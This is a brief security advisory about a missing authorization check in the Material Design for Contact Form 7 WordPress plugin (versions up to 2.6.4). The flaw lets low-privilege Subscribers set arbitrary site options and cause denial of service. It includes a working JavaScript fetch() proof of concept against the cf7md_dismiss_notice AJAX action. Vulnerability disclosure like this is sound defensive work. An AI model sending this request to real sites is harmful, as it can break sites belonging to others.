Material Design for Contact Form 7 <= 2.6.4 - Subscriber+ Arbitrary Settings Update leading to DoS

The plugin does not check authorization or that the option mentioned in the notice param belongs to the plugin when processing requests to the cf7md_dismiss_notice action, allowing any logged in user (with roles as low as Subscriber) to set arbitrary options to true, potentially leading to Denial of Service by breaking the site.

PoC

fetch(“http://127.0.0.1:8001/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=cf7md_dismiss_notice&notice;=template”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));